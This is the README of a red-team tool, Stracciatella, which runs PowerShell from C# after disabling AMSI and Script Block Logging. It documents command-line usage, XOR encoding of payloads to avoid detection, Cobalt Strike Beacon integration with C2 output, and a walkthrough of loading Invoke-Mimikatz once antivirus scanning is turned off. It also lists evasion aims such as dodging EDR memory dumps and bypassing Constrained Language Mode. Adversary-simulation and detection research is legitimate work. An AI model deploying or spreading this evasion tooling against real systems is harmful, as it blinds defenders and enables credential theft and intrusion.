superuser5 / stracciatella

OpSec-safe Powershell runspace from within C# (aka SharpPick) with AMSI, CLM and Script Block Logging disabled at startup

Stracciatella

Powershell runspace from within C# (aka SharpPick technique) with AMSI and Script Block Logging disabled for your pleasure.

Nowadays, when Powershell got severly instrumented by use of techniques such as:

• AMSI
• Script Block Logging
• Transcript file
• Modules logging
• Constrained Language Mode

Advanced attackers must find ways to circumvent these efforts in order to deliver sophisticated adversarial simulation exercises. In order to help in these efforts, following project was created.

This program builds on top of bypasses for specific techniques included in:

• Disable-Amsi.ps1
• Disable-ScriptLogging.ps1

Which in turn was based on following researches:

• Matt Graeber: https://github.com/mattifestation/PSReflect
• Matt Graeber: https://twitter.com/mattifestation/status/735261120487772160
• Avi Gimpel: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
• Adam Chester: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
• Ryan Cobb: https://cobbr.io/ScriptBlock-Logging-Bypass.html
• Ryan Cobb: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html

The SharpPick idea, meaning to launch powershell scripts from within C# assembly by the use of Runspaces is also not new and was firstly implemented by Lee Christensen (@tifkin_) in his:

• UnmanagedPowerShell

Also, the source code borrows implementation of CustomPSHost from Lee.

This project inherits from above researches and great security community in order to provide close-to-be-effective Powershell environment with defenses disabled on startup.

OpSec

• This program provides functionality to decode passed parameters on the fly, using Xor single-byte decode
• Before launching any command, it makes sure to disable AMSI using two approaches
• Before launching any command, it makes sure to disable Script Block logging using two approaches
• This program does not patch any system library, system native code (think amsi.dll)
• Efforts were made to not store decoded script/commands excessively long, in order to protect itself from memory-dumping techniques governed by EDRs and AVs
• The resulting binary may be considered bit too large, that's because Costura.Fody NuGet package is used which bundles System.Management.Automation.dll within resulting assembly

Usage

There are couple of options available:

  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
  Mariusz B. / mgeeky, '19-20 <[email protected]>
  v0.2

Usage: stracciatella.exe [options] [command]
  -s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
                               a pseudo-shell loop.
  -v, --verbose              - Prints verbose informations
  -n, --nocleanup            - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
                               By default these are going to be always removed.
  -f, --force                - Proceed with execution even if Powershell defenses were not disabled.
                               By default we bail out on failure.
  -c, --command              - Executes the specified commands.
                               If command and script parameters were given, executes command after running script.
  -x <key>, --xor <key>      - Consider input as XOR encoded, where <key> is a one byte key in decimal
                               (prefix with 0x for hex)
  -e, --cmdalsoencoded       - Consider input command (specified in '--command') encoded as well.
                               Decodes input command after decoding and running input script file.
                               By default we only decode input file and consider command given in plaintext

The program accepts command and script file path as it's input. Both are optional, if none were given - pseudo-shell will be started. Both command and script can be further encoded using single-byte XOR (will produce output Base64 encoded) for better OpSec experience.

Here are couple of examples presenting use cases:

1. Pseudo-shell - intiatiated when neither command nor script path options were given:

PS D:\> Stracciatella.exe -v

  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
  Mariusz B. / mgeeky, '19 <[email protected]>

[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.

Stracciatella D:\> $PSVersionTable

Name                           Value
----                           -----
PSVersion                      5.1.18362.1
PSEdition                      Desktop
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
BuildVersion                   10.0.18362.1
CLRVersion                     4.0.30319.42000
WSManStackVersion              3.0
PSRemotingProtocolVersion      2.3
SerializationVersion           1.1.0.1

2. XOR encoded (key = 0x31) command and path to script file

Firstly, in order to prepare encoded statements we can use bundled encoder.py script, that can be used as follows:

PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>

positional arguments:
  command               Specifies either a command or script file's path for encoding

optional arguments:
  -h, --help            show this help message and exit
  -x KEY, --xor KEY     Specifies command/file XOR encode key (one byte)
  -o PATH, --output PATH
                        (optional) Output file. If not given - will echo output to stdout

PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU

Then we feed encoder.py output as input being an encoded command for Stracciatella:

PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1

  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
  Mariusz B. / mgeeky, '19 <[email protected]>

[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage

Whereas:

• Command was built of following commands: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))
• Test2.ps1 - contained: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))

Cobalt Strike support

Stracciatella comes with Aggressor script that when loaded exposes stracciatella command in the Beacon console. The usage is pretty much similar to powerpick (with support for powershell-imported scripts). The input parameter will be xored with a random key. The advantage over powerpick is that the Stracciatella does not patch AMSI.dll in the way like Powerpick does (AmsiScanBuffer patch), thus potentially generating less forensic noise as seen by EDRs looking for in-memory patches. Also, Stracciatella will eventually be able to stabily bypass Constrained Language Mode which is currently not possible using powerpick.:

beacon> powershell-import PowerView.ps1
[+] host called home, sent: 143784 bytes

beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:

Forest                  : contoso.local
DomainControllers       : {dc.contoso.local}
Children                : {us.eu.contoso.local}
DomainMode              : Unknown
DomainModeLevel         : 7
Parent                  : contoso.local
PdcRoleOwner            : dc.eu.contoso.local
RidRoleOwner            : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name                    : eu.contoso.local

Finally, Stracciatella may be easily used by some other tools/C2s that don't offer any functionality to evade powershell protections.

How do you disable AMSI & Script Block logging?

By the use of reflection, as discovered by Matt Graeber, but that program's approach was slightly modified. Instead of referring to symbols by their name, like "amsiInitFailed" - we lookup on them by going through every Assembly, Method, Type and Field available to be fetched reflectively. Then we disable AMSI by the manipulation of NonPublic & Static variables in Management.Automation assembly. The same goes for Script Block logging, whereas in this instance some of ideas were based on Ryan Cobb's (@cobbr) researches.

In fact, Stracciatella uses the same implementation as covered already in above mentioned Disable-*.ps1 files of mine.

Also, we do not attempt to patch amsi.dll, that's a bit too noisy and may be in near future closely monitored by EDRs/HIPS/AVs. Corrupting integrity of system libraries definitely loses grounds when compared to reflective variables clobbering.

Just show me the Invoke-Mimikatz, will you?

Of course, there you go:

PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

PS D:\> .\Stracciatella.exe -v

  :: Stracciatella - Powershell runspace with AMSI and Script Block Logging disabled.
  Mariusz B. / mgeeky, '19 <[email protected]>

[-] It looks like no script path was given.
[+] AMSI Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage

Stracciatella D:\> . .\Invoke-Mimikatz.ps1

Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # coffee

    ( (
     ) )
  .______.
  |      |]
  \      /
   `----'

mimikatz(powershell) # exit
Bye!

Known-issues, TODO

Currently, the way the Stracciatella provides runspace for powershell commands is not the most stealthiest out there. We basically create a Powershell runspace, which loads up corresponding .NET Assembly. This might be considered as a flag that stracciatella's process is somewhat shady.

• Currently not able to perform a full cleanup of CLM disabling artefacts: DLL files in-use, left in %TEMP%.
• Currently only supports .NET Framework 4.5+
• Create fully unmanaged powershell runspace
• Implement rolling XOR with 2,3 and 4 bytes long key.
• Add Constrained Language Mode bypass
• Implement more encoding/encryption strategies, especially ones utilising environmental keying
• Disable Script Block logging first, than go after AMSI
• Clean essential variables ASAP, preventing easy process memory dumping and recovery of provided scripts/commands
• Add Tab-autocompletion and support for Up/Down arrows (having provided that plaintext commands are not going to be stored in Straciatella's memory)
• Add coloured outputs

Credits

• Ryan Cobb, @cobbr
• Matt Graeber, @mattifestation
• Adam Chester, @xpn
• Avi Gimpel
• Lee Christensen, @tifkin_